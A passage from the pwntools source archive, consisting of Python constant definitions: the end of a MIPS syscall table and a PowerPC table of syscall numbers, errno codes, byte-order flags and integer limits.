Constant('SYS_uname',(4000 + 122)) SYS_unlink = Constant('SYS_unlink',(4000 + 10)) SYS_unlinkat = Constant('SYS_unlinkat',(4000 + 294)) SYS_unshare = Constant('SYS_unshare',(4000 + 303)) SYS_unused109 = Constant('SYS_unused109',(4000 + 109)) SYS_unused150 = Constant('SYS_unused150',(4000 + 150)) SYS_unused18 = Constant('SYS_unused18',(4000 + 18)) SYS_unused28 = Constant('SYS_unused28',(4000 + 28)) SYS_unused59 = Constant('SYS_unused59',(4000 + 59)) SYS_unused84 = Constant('SYS_unused84',(4000 + 84)) SYS_uselib = Constant('SYS_uselib',(4000 + 86)) SYS_userfaultfd = Constant('SYS_userfaultfd',(4000 + 357)) SYS_ustat = Constant('SYS_ustat',(4000 + 62)) SYS_utime = Constant('SYS_utime',(4000 + 30)) SYS_utimensat = Constant('SYS_utimensat',(4000 + 316)) SYS_utimensat_time64 = Constant('SYS_utimensat_time64',(4000 + 412)) SYS_utimes = Constant('SYS_utimes',(4000 + 267)) SYS_vhangup = Constant('SYS_vhangup',(4000 + 111)) SYS_vm86 = Constant('SYS_vm86',(4000 + 113)) SYS_vmsplice = Constant('SYS_vmsplice',(4000 + 307)) SYS_vserver = Constant('SYS_vserver',(4000 + 277)) SYS_wait4 = Constant('SYS_wait4',(4000 + 114)) SYS_waitid = Constant('SYS_waitid',(4000 + 278)) SYS_waitpid = Constant('SYS_waitpid',(4000 + 7)) SYS_write = Constant('SYS_write',(4000 + 4)) SYS_writev = Constant('SYS_writev',(4000 + 146)) Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/powerpc.py000066400000000000000000002051251507273764500247060ustar00rootroot00000000000000from pwnlib.constants.constant import Constant __NR_exit = Constant('__NR_exit',1) __NR_fork = Constant('__NR_fork',2) __NR_read = Constant('__NR_read',3) __NR_write = Constant('__NR_write',4) __NR_open = Constant('__NR_open',5) __NR_close = Constant('__NR_close',6) __NR_waitpid = Constant('__NR_waitpid',7) __NR_creat = Constant('__NR_creat',8) __NR_link = Constant('__NR_link',9) __NR_unlink = Constant('__NR_unlink',10) __NR_execve = Constant('__NR_execve',11) __NR_chdir = Constant('__NR_chdir',12) __NR_time = Constant('__NR_time',13) __NR_mknod = Constant('__NR_mknod',14) __NR_chmod = Constant('__NR_chmod',15) __NR_lchown = Constant('__NR_lchown',16) __NR_break = Constant('__NR_break',17) __NR_oldstat = Constant('__NR_oldstat',18) __NR_lseek = Constant('__NR_lseek',19) __NR_getpid = Constant('__NR_getpid',20) __NR_mount = Constant('__NR_mount',21) __NR_umount = Constant('__NR_umount',22) __NR_setuid = Constant('__NR_setuid',23) __NR_getuid = Constant('__NR_getuid',24) __NR_stime = Constant('__NR_stime',25) __NR_ptrace = Constant('__NR_ptrace',26) __NR_alarm = Constant('__NR_alarm',27) __NR_oldfstat = Constant('__NR_oldfstat',28) __NR_pause = Constant('__NR_pause',29) __NR_utime = Constant('__NR_utime',30) __NR_stty = Constant('__NR_stty',31) __NR_gtty = Constant('__NR_gtty',32) __NR_access = Constant('__NR_access',33) __NR_nice = Constant('__NR_nice',34) __NR_ftime = Constant('__NR_ftime',35) __NR_sync = Constant('__NR_sync',36) __NR_kill = Constant('__NR_kill',37) __NR_rename = Constant('__NR_rename',38) __NR_mkdir = Constant('__NR_mkdir',39) __NR_rmdir = Constant('__NR_rmdir',40) __NR_dup = Constant('__NR_dup',41) __NR_pipe = Constant('__NR_pipe',42) __NR_times = Constant('__NR_times',43) __NR_prof = Constant('__NR_prof',44) __NR_brk = Constant('__NR_brk',45) __NR_setgid = Constant('__NR_setgid',46) __NR_getgid = Constant('__NR_getgid',47) __NR_signal = Constant('__NR_signal',48) __NR_geteuid = Constant('__NR_geteuid',49) __NR_getegid = Constant('__NR_getegid',50) __NR_acct = Constant('__NR_acct',51) __NR_umount2 = Constant('__NR_umount2',52) __NR_lock = Constant('__NR_lock',53) __NR_ioctl = Constant('__NR_ioctl',54) __NR_fcntl = Constant('__NR_fcntl',55) __NR_mpx = Constant('__NR_mpx',56) __NR_setpgid = Constant('__NR_setpgid',57) __NR_ulimit = Constant('__NR_ulimit',58) __NR_oldolduname = Constant('__NR_oldolduname',59) __NR_umask = Constant('__NR_umask',60) __NR_chroot = Constant('__NR_chroot',61) __NR_ustat = Constant('__NR_ustat',62) __NR_dup2 = Constant('__NR_dup2',63) __NR_getppid = Constant('__NR_getppid',64) __NR_getpgrp = Constant('__NR_getpgrp',65) __NR_setsid = Constant('__NR_setsid',66) __NR_sigaction = Constant('__NR_sigaction',67) __NR_sgetmask = Constant('__NR_sgetmask',68) __NR_ssetmask = Constant('__NR_ssetmask',69) __NR_setreuid = Constant('__NR_setreuid',70) __NR_setregid = Constant('__NR_setregid',71) __NR_sigsuspend = Constant('__NR_sigsuspend',72) __NR_sigpending = Constant('__NR_sigpending',73) __NR_sethostname = Constant('__NR_sethostname',74) __NR_setrlimit = Constant('__NR_setrlimit',75) __NR_getrlimit = Constant('__NR_getrlimit',76) __NR_getrusage = Constant('__NR_getrusage',77) __NR_gettimeofday = Constant('__NR_gettimeofday',78) __NR_settimeofday = Constant('__NR_settimeofday',79) __NR_getgroups = Constant('__NR_getgroups',80) __NR_setgroups = Constant('__NR_setgroups',81) __NR_select = Constant('__NR_select',82) __NR_symlink = Constant('__NR_symlink',83) __NR_oldlstat = Constant('__NR_oldlstat',84) __NR_readlink = Constant('__NR_readlink',85) __NR_uselib = Constant('__NR_uselib',86) __NR_swapon = Constant('__NR_swapon',87) __NR_reboot = Constant('__NR_reboot',88) __NR_readdir = Constant('__NR_readdir',89) __NR_mmap = Constant('__NR_mmap',90) __NR_munmap = Constant('__NR_munmap',91) __NR_truncate = Constant('__NR_truncate',92) __NR_ftruncate = Constant('__NR_ftruncate',93) __NR_fchmod = Constant('__NR_fchmod',94) __NR_fchown = Constant('__NR_fchown',95) __NR_getpriority = Constant('__NR_getpriority',96) __NR_setpriority = Constant('__NR_setpriority',97) __NR_profil = Constant('__NR_profil',98) __NR_statfs = Constant('__NR_statfs',99) __NR_fstatfs = Constant('__NR_fstatfs',100) __NR_ioperm = Constant('__NR_ioperm',101) __NR_socketcall = Constant('__NR_socketcall',102) __NR_syslog = Constant('__NR_syslog',103) __NR_setitimer = Constant('__NR_setitimer',104) __NR_getitimer = Constant('__NR_getitimer',105) __NR_stat = Constant('__NR_stat',106) __NR_lstat = Constant('__NR_lstat',107) __NR_fstat = Constant('__NR_fstat',108) __NR_olduname = Constant('__NR_olduname',109) __NR_iopl = Constant('__NR_iopl',110) __NR_vhangup = Constant('__NR_vhangup',111) __NR_idle = Constant('__NR_idle',112) __NR_vm86 = Constant('__NR_vm86',113) __NR_wait4 = Constant('__NR_wait4',114) __NR_swapoff = Constant('__NR_swapoff',115) __NR_sysinfo = Constant('__NR_sysinfo',116) __NR_ipc = Constant('__NR_ipc',117) __NR_fsync = Constant('__NR_fsync',118) __NR_sigreturn = Constant('__NR_sigreturn',119) __NR_clone = Constant('__NR_clone',120) __NR_setdomainname = Constant('__NR_setdomainname',121) __NR_uname = Constant('__NR_uname',122) __NR_modify_ldt = Constant('__NR_modify_ldt',123) __NR_adjtimex = Constant('__NR_adjtimex',124) __NR_mprotect = Constant('__NR_mprotect',125) __NR_sigprocmask = Constant('__NR_sigprocmask',126) __NR_create_module = Constant('__NR_create_module',127) __NR_init_module = Constant('__NR_init_module',128) __NR_delete_module = Constant('__NR_delete_module',129) __NR_get_kernel_syms = Constant('__NR_get_kernel_syms',130) __NR_quotactl = Constant('__NR_quotactl',131) __NR_getpgid = Constant('__NR_getpgid',132) __NR_fchdir = Constant('__NR_fchdir',133) __NR_bdflush = Constant('__NR_bdflush',134) __NR_sysfs = Constant('__NR_sysfs',135) __NR_personality = Constant('__NR_personality',136) __NR_afs_syscall = Constant('__NR_afs_syscall',137) __NR_setfsuid = Constant('__NR_setfsuid',138) __NR_setfsgid = Constant('__NR_setfsgid',139) __NR__llseek = Constant('__NR__llseek',140) __NR_getdents = Constant('__NR_getdents',141) __NR__newselect = Constant('__NR__newselect',142) __NR_flock = Constant('__NR_flock',143) __NR_msync = Constant('__NR_msync',144) __NR_readv = Constant('__NR_readv',145) __NR_writev = Constant('__NR_writev',146) __NR_getsid = Constant('__NR_getsid',147) __NR_fdatasync = Constant('__NR_fdatasync',148) __NR__sysctl = Constant('__NR__sysctl',149) __NR_mlock = Constant('__NR_mlock',150) __NR_munlock = Constant('__NR_munlock',151) __NR_mlockall = Constant('__NR_mlockall',152) __NR_munlockall = Constant('__NR_munlockall',153) __NR_sched_setparam = Constant('__NR_sched_setparam',154) __NR_sched_getparam = Constant('__NR_sched_getparam',155) __NR_sched_setscheduler = Constant('__NR_sched_setscheduler',156) __NR_sched_getscheduler = Constant('__NR_sched_getscheduler',157) __NR_sched_yield = Constant('__NR_sched_yield',158) __NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',159) __NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',160) __NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',161) __NR_nanosleep = Constant('__NR_nanosleep',162) __NR_mremap = Constant('__NR_mremap',163) __NR_setresuid = Constant('__NR_setresuid',164) __NR_getresuid = Constant('__NR_getresuid',165) __NR_query_module = Constant('__NR_query_module',166) __NR_poll = Constant('__NR_poll',167) __NR_nfsservctl = Constant('__NR_nfsservctl',168) __NR_setresgid = Constant('__NR_setresgid',169) __NR_getresgid = Constant('__NR_getresgid',170) __NR_prctl = Constant('__NR_prctl',171) __NR_rt_sigreturn = Constant('__NR_rt_sigreturn',172) __NR_rt_sigaction = Constant('__NR_rt_sigaction',173) __NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',174) __NR_rt_sigpending = Constant('__NR_rt_sigpending',175) __NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',176) __NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',177) __NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',178) __NR_pread = Constant('__NR_pread',179) __NR_pwrite = Constant('__NR_pwrite',180) __NR_chown = Constant('__NR_chown',181) __NR_getcwd = Constant('__NR_getcwd',182) __NR_capget = Constant('__NR_capget',183) __NR_capset = Constant('__NR_capset',184) __NR_sigaltstack = Constant('__NR_sigaltstack',185) __NR_sendfile = Constant('__NR_sendfile',186) __NR_getpmsg = Constant('__NR_getpmsg',187) __NR_putpmsg = Constant('__NR_putpmsg',188) __NR_vfork = Constant('__NR_vfork',189) __NR_ugetrlimit = Constant('__NR_ugetrlimit',190) __NR_readahead = Constant('__NR_readahead',191) __NR_mmap2 = Constant('__NR_mmap2',192) __NR_truncate64 = Constant('__NR_truncate64',193) __NR_ftruncate64 = Constant('__NR_ftruncate64',194) __NR_stat64 = Constant('__NR_stat64',195) __NR_lstat64 = Constant('__NR_lstat64',196) __NR_fstat64 = Constant('__NR_fstat64',197) __NR_pciconfig_read = Constant('__NR_pciconfig_read',198) __NR_pciconfig_write = Constant('__NR_pciconfig_write',199) __NR_pciconfig_iobase = Constant('__NR_pciconfig_iobase',200) __NR_multiplexer = Constant('__NR_multiplexer',201) __NR_getdents64 = Constant('__NR_getdents64',202) __NR_pivot_root = Constant('__NR_pivot_root',203) __NR_fcntl64 = Constant('__NR_fcntl64',204) __NR_madvise = Constant('__NR_madvise',205) __NR_mincore = Constant('__NR_mincore',206) __NR_gettid = Constant('__NR_gettid',207) __NR_tkill = Constant('__NR_tkill',208) __NR_setxattr = Constant('__NR_setxattr',209) __NR_lsetxattr = Constant('__NR_lsetxattr',210) __NR_fsetxattr = Constant('__NR_fsetxattr',211) __NR_getxattr = Constant('__NR_getxattr',212) __NR_lgetxattr = Constant('__NR_lgetxattr',213) __NR_fgetxattr = Constant('__NR_fgetxattr',214) __NR_listxattr = Constant('__NR_listxattr',215) __NR_llistxattr = Constant('__NR_llistxattr',216) __NR_flistxattr = Constant('__NR_flistxattr',217) __NR_removexattr = Constant('__NR_removexattr',218) __NR_lremovexattr = Constant('__NR_lremovexattr',219) __NR_fremovexattr = Constant('__NR_fremovexattr',220) __NR_futex = Constant('__NR_futex',221) __NR_sched_setaffinity = Constant('__NR_sched_setaffinity',222) __NR_sched_getaffinity = Constant('__NR_sched_getaffinity',223) __NR_tuxcall = Constant('__NR_tuxcall',225) __NR_sendfile64 = Constant('__NR_sendfile64',226) __NR_io_setup = Constant('__NR_io_setup',227) __NR_io_destroy = Constant('__NR_io_destroy',228) __NR_io_getevents = Constant('__NR_io_getevents',229) __NR_io_submit = Constant('__NR_io_submit',230) __NR_io_cancel = Constant('__NR_io_cancel',231) __NR_set_tid_address = Constant('__NR_set_tid_address',232) __NR_fadvise64 = Constant('__NR_fadvise64',233) __NR_exit_group = Constant('__NR_exit_group',234) __NR_lookup_dcookie = Constant('__NR_lookup_dcookie',235) __NR_epoll_create = Constant('__NR_epoll_create',236) __NR_epoll_ctl = Constant('__NR_epoll_ctl',237) __NR_epoll_wait = Constant('__NR_epoll_wait',238) __NR_remap_file_pages = Constant('__NR_remap_file_pages',239) __NR_timer_create = Constant('__NR_timer_create',240) __NR_timer_settime = Constant('__NR_timer_settime',241) __NR_timer_gettime = Constant('__NR_timer_gettime',242) __NR_timer_getoverrun = Constant('__NR_timer_getoverrun',243) __NR_timer_delete = Constant('__NR_timer_delete',244) __NR_clock_settime = Constant('__NR_clock_settime',245) __NR_clock_gettime = Constant('__NR_clock_gettime',246) __NR_clock_getres = Constant('__NR_clock_getres',247) __NR_clock_nanosleep = Constant('__NR_clock_nanosleep',248) __NR_swapcontext = Constant('__NR_swapcontext',249) __NR_tgkill = Constant('__NR_tgkill',250) __NR_utimes = Constant('__NR_utimes',251) __NR_statfs64 = Constant('__NR_statfs64',252) __NR_fstatfs64 = Constant('__NR_fstatfs64',253) __NR_fadvise64_64 = Constant('__NR_fadvise64_64',254) __NR_rtas = Constant('__NR_rtas',255) __NR_sys_debug_setcontext = Constant('__NR_sys_debug_setcontext',256) __NR_mq_open = Constant('__NR_mq_open',262) __NR_mq_unlink = Constant('__NR_mq_unlink',263) __NR_mq_timedsend = Constant('__NR_mq_timedsend',264) __NR_mq_timedreceive = Constant('__NR_mq_timedreceive',265) __NR_mq_notify = Constant('__NR_mq_notify',266) __NR_mq_getsetattr = Constant('__NR_mq_getsetattr',267) __NR_kexec_load = Constant('__NR_kexec_load',268) __NR_add_key = Constant('__NR_add_key',269) __NR_request_key = Constant('__NR_request_key',270) __NR_keyctl = Constant('__NR_keyctl',271) __NR_waitid = Constant('__NR_waitid',272) __NR_ioprio_set = Constant('__NR_ioprio_set',273) __NR_ioprio_get = Constant('__NR_ioprio_get',274) __NR_inotify_init = Constant('__NR_inotify_init',275) __NR_inotify_add_watch = Constant('__NR_inotify_add_watch',276) __NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',277) __NR_spu_run = Constant('__NR_spu_run',278) __NR_spu_create = Constant('__NR_spu_create',279) __NR_pselect6 = Constant('__NR_pselect6',280) __NR_ppoll = Constant('__NR_ppoll',281) __NR_unshare = Constant('__NR_unshare',282) __NR_splice = Constant('__NR_splice',283) __NR_tee = Constant('__NR_tee',284) __NR_vmsplice = Constant('__NR_vmsplice',285) __NR_openat = Constant('__NR_openat',286) __NR_mkdirat = Constant('__NR_mkdirat',287) __NR_mknodat = Constant('__NR_mknodat',288) __NR_fchownat = Constant('__NR_fchownat',289) __NR_futimesat = Constant('__NR_futimesat',290) __NR_fstatat64 = Constant('__NR_fstatat64',291) __NR_unlinkat = Constant('__NR_unlinkat',292) __NR_renameat = Constant('__NR_renameat',293) __NR_linkat = Constant('__NR_linkat',294) __NR_symlinkat = Constant('__NR_symlinkat',295) __NR_readlinkat = Constant('__NR_readlinkat',296) __NR_fchmodat = Constant('__NR_fchmodat',297) __NR_faccessat = Constant('__NR_faccessat',298) __NR_get_robust_list = Constant('__NR_get_robust_list',299) __NR_set_robust_list = Constant('__NR_set_robust_list',300) __NR_move_pages = Constant('__NR_move_pages',301) __NR_getcpu = Constant('__NR_getcpu',302) __NR_epoll_pwait = Constant('__NR_epoll_pwait',303) __NR_utimensat = Constant('__NR_utimensat',304) __NR_signalfd = Constant('__NR_signalfd',305) __NR_timerfd = Constant('__NR_timerfd',306) __NR_eventfd = Constant('__NR_eventfd',307) __NR_sync_file_range2 = Constant('__NR_sync_file_range2',308) __NR_fallocate = Constant('__NR_fallocate',309) __NR_subpage_prot = Constant('__NR_subpage_prot',310) __NR_timerfd_settime = Constant('__NR_timerfd_settime',311) __NR_timerfd_gettime = Constant('__NR_timerfd_gettime',312) __NR_signalfd4 = Constant('__NR_signalfd4',313) __NR_eventfd2 = Constant('__NR_eventfd2',314) __NR_epoll_create1 = Constant('__NR_epoll_create1',315) __NR_dup3 = Constant('__NR_dup3',316) __NR_pipe2 = Constant('__NR_pipe2',317) __NR_inotify_init1 = Constant('__NR_inotify_init1',318) __NR_perf_event_open = Constant('__NR_perf_event_open',319) __NR_preadv = Constant('__NR_preadv',320) __NR_pwritev = Constant('__NR_pwritev',321) __NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',322) __NR_fanotify_init = Constant('__NR_fanotify_init',323) __NR_fanotify_mark = Constant('__NR_fanotify_mark',324) __NR_prlimit64 = Constant('__NR_prlimit64',325) __NR_socket = Constant('__NR_socket',326) __NR_bind = Constant('__NR_bind',327) __NR_connect = Constant('__NR_connect',328) __NR_listen = Constant('__NR_listen',329) __NR_accept = Constant('__NR_accept',330) __NR_getsockname = Constant('__NR_getsockname',331) __NR_getpeername = Constant('__NR_getpeername',332) __NR_socketpair = Constant('__NR_socketpair',333) __NR_send = Constant('__NR_send',334) __NR_sendto = Constant('__NR_sendto',335) __NR_recv = Constant('__NR_recv',336) __NR_recvfrom = Constant('__NR_recvfrom',337) __NR_shutdown = Constant('__NR_shutdown',338) __NR_setsockopt = Constant('__NR_setsockopt',339) __NR_getsockopt = Constant('__NR_getsockopt',340) __NR_sendmsg = Constant('__NR_sendmsg',341) __NR_recvmsg = Constant('__NR_recvmsg',342) __NR_recvmmsg = Constant('__NR_recvmmsg',343) __NR_accept4 = Constant('__NR_accept4',344) __NR_name_to_handle_at = Constant('__NR_name_to_handle_at',345) __NR_open_by_handle_at = Constant('__NR_open_by_handle_at',346) __NR_clock_adjtime = Constant('__NR_clock_adjtime',347) __NR_syncfs = Constant('__NR_syncfs',348) __NR_sendmmsg = Constant('__NR_sendmmsg',349) __NR_setns = Constant('__NR_setns',350) __NR_process_vm_readv = Constant('__NR_process_vm_readv',351) __NR_process_vm_writev = Constant('__NR_process_vm_writev',352) __NR_finit_module = Constant('__NR_finit_module',353) __NR_kcmp = Constant('__NR_kcmp',354) __NR_sched_setattr = Constant('__NR_sched_setattr',355) __NR_sched_getattr = Constant('__NR_sched_getattr',356) __NR_renameat2 = Constant('__NR_renameat2',357) __NR_seccomp = Constant('__NR_seccomp',358) __NR_getrandom = Constant('__NR_getrandom',359) __NR_memfd_create = Constant('__NR_memfd_create',360) __NR_bpf = Constant('__NR_bpf',361) __NR_execveat = Constant('__NR_execveat',362) __NR_switch_endian = Constant('__NR_switch_endian',363) __NR_userfaultfd = Constant('__NR_userfaultfd',364) __NR_membarrier = Constant('__NR_membarrier',365) __NR_mlock2 = Constant('__NR_mlock2',378) __NR_copy_file_range = Constant('__NR_copy_file_range',379) __NR_preadv2 = Constant('__NR_preadv2',380) __NR_pwritev2 = Constant('__NR_pwritev2',381) __NR_kexec_file_load = Constant('__NR_kexec_file_load',382) __NR_statx = Constant('__NR_statx',383) __NR_pkey_alloc = Constant('__NR_pkey_alloc',384) __NR_pkey_free = Constant('__NR_pkey_free',385) __NR_pkey_mprotect = Constant('__NR_pkey_mprotect',386) __NR_rseq = Constant('__NR_rseq',387) __NR_io_pgetevents = Constant('__NR_io_pgetevents',388) __NR_semget = Constant('__NR_semget',393) __NR_semctl = Constant('__NR_semctl',394) __NR_shmget = Constant('__NR_shmget',395) __NR_shmctl = Constant('__NR_shmctl',396) __NR_shmat = Constant('__NR_shmat',397) __NR_shmdt = Constant('__NR_shmdt',398) __NR_msgget = Constant('__NR_msgget',399) __NR_msgsnd = Constant('__NR_msgsnd',400) __NR_msgrcv = Constant('__NR_msgrcv',401) __NR_msgctl = Constant('__NR_msgctl',402) __NR_clock_gettime64 = Constant('__NR_clock_gettime64',403) __NR_clock_settime64 = Constant('__NR_clock_settime64',404) __NR_clock_adjtime64 = Constant('__NR_clock_adjtime64',405) __NR_clock_getres_time64 = Constant('__NR_clock_getres_time64',406) __NR_clock_nanosleep_time64 = Constant('__NR_clock_nanosleep_time64',407) __NR_timer_gettime64 = Constant('__NR_timer_gettime64',408) __NR_timer_settime64 = Constant('__NR_timer_settime64',409) __NR_timerfd_gettime64 = Constant('__NR_timerfd_gettime64',410) __NR_timerfd_settime64 = Constant('__NR_timerfd_settime64',411) __NR_utimensat_time64 = Constant('__NR_utimensat_time64',412) __NR_pselect6_time64 = Constant('__NR_pselect6_time64',413) __NR_ppoll_time64 = Constant('__NR_ppoll_time64',414) __NR_io_pgetevents_time64 = Constant('__NR_io_pgetevents_time64',416) __NR_recvmmsg_time64 = Constant('__NR_recvmmsg_time64',417) __NR_mq_timedsend_time64 = Constant('__NR_mq_timedsend_time64',418) __NR_mq_timedreceive_time64 = Constant('__NR_mq_timedreceive_time64',419) __NR_semtimedop_time64 = Constant('__NR_semtimedop_time64',420) __NR_rt_sigtimedwait_time64 = Constant('__NR_rt_sigtimedwait_time64',421) __NR_futex_time64 = Constant('__NR_futex_time64',422) __NR_sched_rr_get_interval_time64 = Constant('__NR_sched_rr_get_interval_time64',423) __NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424) __NR_io_uring_setup = Constant('__NR_io_uring_setup',425) __NR_io_uring_enter = Constant('__NR_io_uring_enter',426) __NR_io_uring_register = Constant('__NR_io_uring_register',427) __NR_open_tree = Constant('__NR_open_tree',428) __NR_move_mount = Constant('__NR_move_mount',429) __NR_fsopen = Constant('__NR_fsopen',430) __NR_fsconfig = Constant('__NR_fsconfig',431) __NR_fsmount = Constant('__NR_fsmount',432) __NR_fspick = Constant('__NR_fspick',433) __NR_pidfd_open = Constant('__NR_pidfd_open',434) __NR_clone3 = Constant('__NR_clone3',435) __NR_openat2 = Constant('__NR_openat2',437) __NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438) MAP_32BIT = Constant('MAP_32BIT',0x40) INADDR_ANY = Constant('INADDR_ANY',0) INADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff) INADDR_NONE = Constant('INADDR_NONE',0xffffffff) INADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EAGAIN = Constant('EAGAIN',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EDEADLK = Constant('EDEADLK',35) ENAMETOOLONG = Constant('ENAMETOOLONG',36) ENOLCK = Constant('ENOLCK',37) ENOSYS = Constant('ENOSYS',38) ENOTEMPTY = Constant('ENOTEMPTY',39) ELOOP = Constant('ELOOP',40) EWOULDBLOCK = Constant('EWOULDBLOCK',11) ENOMSG = Constant('ENOMSG',42) EIDRM = Constant('EIDRM',43) ECHRNG = Constant('ECHRNG',44) EL2NSYNC = Constant('EL2NSYNC',45) EL3HLT = Constant('EL3HLT',46) EL3RST = Constant('EL3RST',47) ELNRNG = Constant('ELNRNG',48) EUNATCH = Constant('EUNATCH',49) ENOCSI = Constant('ENOCSI',50) EL2HLT = Constant('EL2HLT',51) EBADE = Constant('EBADE',52) EBADR = Constant('EBADR',53) EXFULL = Constant('EXFULL',54) ENOANO = Constant('ENOANO',55) EBADRQC = Constant('EBADRQC',56) EBADSLT = Constant('EBADSLT',57) EDEADLOCK = Constant('EDEADLOCK',35) EBFONT = Constant('EBFONT',59) ENOSTR = Constant('ENOSTR',60) ENODATA = Constant('ENODATA',61) ETIME = Constant('ETIME',62) ENOSR = Constant('ENOSR',63) ENONET = Constant('ENONET',64) ENOPKG = Constant('ENOPKG',65) EREMOTE = Constant('EREMOTE',66) ENOLINK = Constant('ENOLINK',67) EADV = Constant('EADV',68) ESRMNT = Constant('ESRMNT',69) ECOMM = Constant('ECOMM',70) EPROTO = Constant('EPROTO',71) EMULTIHOP = Constant('EMULTIHOP',72) EDOTDOT = Constant('EDOTDOT',73) EBADMSG = Constant('EBADMSG',74) EOVERFLOW = Constant('EOVERFLOW',75) ENOTUNIQ = Constant('ENOTUNIQ',76) EBADFD = Constant('EBADFD',77) EREMCHG = Constant('EREMCHG',78) ELIBACC = Constant('ELIBACC',79) ELIBBAD = Constant('ELIBBAD',80) ELIBSCN = Constant('ELIBSCN',81) ELIBMAX = Constant('ELIBMAX',82) ELIBEXEC = Constant('ELIBEXEC',83) EILSEQ = Constant('EILSEQ',84) ERESTART = Constant('ERESTART',85) ESTRPIPE = Constant('ESTRPIPE',86) EUSERS = Constant('EUSERS',87) ENOTSOCK = Constant('ENOTSOCK',88) EDESTADDRREQ = Constant('EDESTADDRREQ',89) EMSGSIZE = Constant('EMSGSIZE',90) EPROTOTYPE = Constant('EPROTOTYPE',91) ENOPROTOOPT = Constant('ENOPROTOOPT',92) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94) EOPNOTSUPP = Constant('EOPNOTSUPP',95) ENOTSUP = Constant('ENOTSUP',95) EPFNOSUPPORT = Constant('EPFNOSUPPORT',96) EAFNOSUPPORT = Constant('EAFNOSUPPORT',97) EADDRINUSE = Constant('EADDRINUSE',98) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99) ENETDOWN = Constant('ENETDOWN',100) ENETUNREACH = Constant('ENETUNREACH',101) ENETRESET = Constant('ENETRESET',102) ECONNABORTED = Constant('ECONNABORTED',103) ECONNRESET = Constant('ECONNRESET',104) ENOBUFS = Constant('ENOBUFS',105) EISCONN = Constant('EISCONN',106) ENOTCONN = Constant('ENOTCONN',107) ESHUTDOWN = Constant('ESHUTDOWN',108) ETOOMANYREFS = Constant('ETOOMANYREFS',109) ETIMEDOUT = Constant('ETIMEDOUT',110) ECONNREFUSED = Constant('ECONNREFUSED',111) EHOSTDOWN = Constant('EHOSTDOWN',112) EHOSTUNREACH = Constant('EHOSTUNREACH',113) EALREADY = Constant('EALREADY',114) EINPROGRESS = Constant('EINPROGRESS',115) ESTALE = Constant('ESTALE',116) EUCLEAN = Constant('EUCLEAN',117) ENOTNAM = Constant('ENOTNAM',118) ENAVAIL = Constant('ENAVAIL',119) EISNAM = Constant('EISNAM',120) EREMOTEIO = Constant('EREMOTEIO',121) EDQUOT = Constant('EDQUOT',122) ENOMEDIUM = Constant('ENOMEDIUM',123) EMEDIUMTYPE = Constant('EMEDIUMTYPE',124) ECANCELED = Constant('ECANCELED',125) ENOKEY = Constant('ENOKEY',126) EKEYEXPIRED = Constant('EKEYEXPIRED',127) EKEYREVOKED = Constant('EKEYREVOKED',128) EKEYREJECTED = Constant('EKEYREJECTED',129) EOWNERDEAD = Constant('EOWNERDEAD',130) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131) ERFKILL = Constant('ERFKILL',132) EHWPOISON = Constant('EHWPOISON',133) __SYS_NERR = Constant('__SYS_NERR',((133) + 1)) __LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234) __BIG_ENDIAN = Constant('__BIG_ENDIAN',4321) __BYTE_ORDER = Constant('__BYTE_ORDER',4321) __FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',4321) LITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234) BIG_ENDIAN = Constant('BIG_ENDIAN',4321) BYTE_ORDER = Constant('BYTE_ORDER',4321) __WORDSIZE = Constant('__WORDSIZE',32) INT8_MAX = Constant('INT8_MAX',(127)) INT16_MAX = Constant('INT16_MAX',(32767)) INT32_MAX = Constant('INT32_MAX',(2147483647)) INT64_MAX = Constant('INT64_MAX',(9223372036854775807)) INT8_MIN = Constant('INT8_MIN',(-1 - (127))) INT16_MIN = Constant('INT16_MIN',(-1 - (32767))) INT32_MIN = Constant('INT32_MIN',(-1 - (2147483647))) INT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807))) INT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127)) INT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127))) INT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767)) INT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767))) INT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647)) INT_LEAST32_MIN = 